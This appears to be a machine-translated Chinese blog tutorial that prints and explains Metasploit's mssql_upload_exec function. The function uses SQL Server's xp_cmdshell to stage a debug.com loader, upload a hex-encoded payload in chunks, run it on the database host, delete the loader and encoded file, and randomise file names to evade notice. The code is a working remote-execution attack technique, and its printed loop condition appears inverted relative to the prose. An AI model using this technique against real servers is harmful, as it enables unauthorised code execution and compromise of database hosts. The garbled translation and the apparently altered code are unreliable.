Metasploit MSSQL辅助模块背后的原型

通过MSSQL有效负载结论

使用文本编辑器查看“mssql.rb”文件,找到'mssql_upload_exec'。我们应该看到以下内容:

#
# Upload and execute a Windows binary through MSSQL queries
#
def mssql_upload_exec(exe, debug=false)
hex = exe.unpack("H*")[0]

var_bypass = rand_text_alpha(8)
var_payload = rand_text_alpha(8)

print_status("Warning: This module will leave #{var_payload}.exe in the SQL Server %TEMP% directory")
print_status("Writing the debug.com loader to the disk...")
h2b = File.read(datastore['HEX2BINARY'], File.size(datastore['HEX2BINARY']))
h2b.gsub!(/KemneE3N/, "%TEMP%\\#{var_bypass}")
h2b.split(/\n/).each do |line|
mssql_xpcmdshell("#{line}", false)
end

print_status("Converting the debug script to an executable...")
mssql_xpcmdshell("cmd.exe /c cd %TEMP% && cd %TEMP% && debug > %TEMP%\\#{var_bypass}", debug)
mssql_xpcmdshell("cmd.exe /c move %TEMP%\\#{var_bypass}.bin %TEMP%\\#{var_bypass}.exe", debug)

print_status("Uploading the payload, please be patient...")
idx = 0
cnt = 500
while(idx > hex.length - 1)
mssql_xpcmdshell("cmd.exe /c echo #{hex[idx,cnt]}>>%TEMP%\\#{var_payload}", false)
idx += cnt
end

print_status("Converting the encoded payload...")
mssql_xpcmdshell("%TEMP%\\#{var_bypass}.exe %TEMP%\\#{var_payload}", debug)
mssql_xpcmdshell("cmd.exe /c del %TEMP%\\#{var_bypass}.exe", debug)
mssql_xpcmdshell("cmd.exe /c del %TEMP%\\#{var_payload}", debug)

print_status("Executing the payload...")
mssql_xpcmdshell("%TEMP%\\#{var_payload}.exe", false, {:timeout => 1})
end

 

def mssql_upload_exec(exe,debug = false)需要两个参数,并且默认情况下将debug设置为false,除非另有说明。

def mssql_upload_exec(exe, debug=false)

 

十六进制= exe.unpack(“H *”)[0]是一些Ruby Kung-Fuey,它将我们生成的可执行文件神奇地转换为十六进制。

hex = exe.unpack("H*")[0]

 

var_bypass = rand_text_alpha(8)和var_payload = rand_text_alpha(8)用随机设置的8个字母字符创建两个变量,例如:PoLecJeX

var_bypass = rand_text_alpha(8)

 

print_status必须始终在Metasploit中使用,'puts'不再被框架接受。如果你注意到我和python有一些不同之处,在print_status中你会注意到“#{var_payload} .exe这个变量将变量var_payload放入print_status消息中,所以你基本上可以看到”PoLecJeX.exe“ ”

print_status("Warning: This module will leave #{var_payload}.exe in the SQL Server %TEMP% directory")

 

继续,如果你看看我们什么时候发射,h2b = File.read(datastore ['HEX2BINARY'],File.size [datastore ['HEX2BINARY']))将读取“HEX2BINARY”数据存储中指定的任何文件该文件位于data / exploits / mssql / h2b,这是一个我以前创建的文件,它是windows调试的一个特定格式,基本上是一个简单的旁路以删除文件大小限制。我们首先发送这个可执行文件,windows调试将它转换回给我们的二进制文件,然后我们发送metasploit负载并调用我们之前转换的可执行文件来转换我们的metasploit文件。

h2b = File.read(datastore['HEX2BINARY'], File.size(datastore['HEX2BINARY']))
h2b.gsub!(/KemneE3N/, "%TEMP%\\#{var_bypass}")
h2b.split(/\n/).each do |line|

 

h2b.gsuc!(/KemneE3N/, “%TEMP%\\#{var_bypass}”)只是用上面创建的动态代码替换硬编码名称,如果您查看h2b文件,则会多次调用KemneE3N我们想随机创建一个名称来更好地混淆事物。gsub只是用随机的硬编码替代硬编码。

 

h2b.split(/\n/)。每个都是| line | 会为我们启动一个循环,并将庞大的h2b文件分成多行,原因是我们无法一次发送整个批量文件,因为MSSQL协议不允许我们一次发送一个文件通过SQL语句进行非常大的传输。

 

最后,mssql_xpcmdshell(“#{line}”, false) 逐行发送初始stager载荷,而false将debug指定为false,并且不将信息发回给我们。

 

接下来的几个步骤将我们的h2b文件转换为使用Windows调试的二进制文件,我们使用%TEMP%目录来提高可靠性。mssql_xpcmdshell存储过程允许发生这种情况。

 

idx = 0将作为计数器让我们知道何时达到文件大小,cnt = 500指定我们一次发送多少个字符。下一行将我们的有效载荷一次发送到一个新文件500个字符,增加了idx计数器并确保idx仍小于hex.length blob。

 

一旦完成后,最后几个步骤将我们的metasploit有效载荷转换回使用我们先前分级有效载荷的可执行程序,然后执行它给我们我们的有效载荷!

idx = 0

mssql

所以我们已经走过了创建一个全面的攻击矢量,并且更加熟悉窗帘背后发生的事情。如果你想创建一个新的模块,看看通常有什么东西可以用作基线来帮助你创建它。

    A+
发布日期:2018年06月10日 00:29:26  所属分类:Metasploit
最后更新时间:2018-06-10 00:29:26
付杰
  • ¥ 29.99元
  • 市场价:888元
  • ¥ 6.8元
  • 市场价:8.8元
  • ¥ 298.0元
  • 市场价:398.0元
  • ¥ 999元
  • 市场价:4999元

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: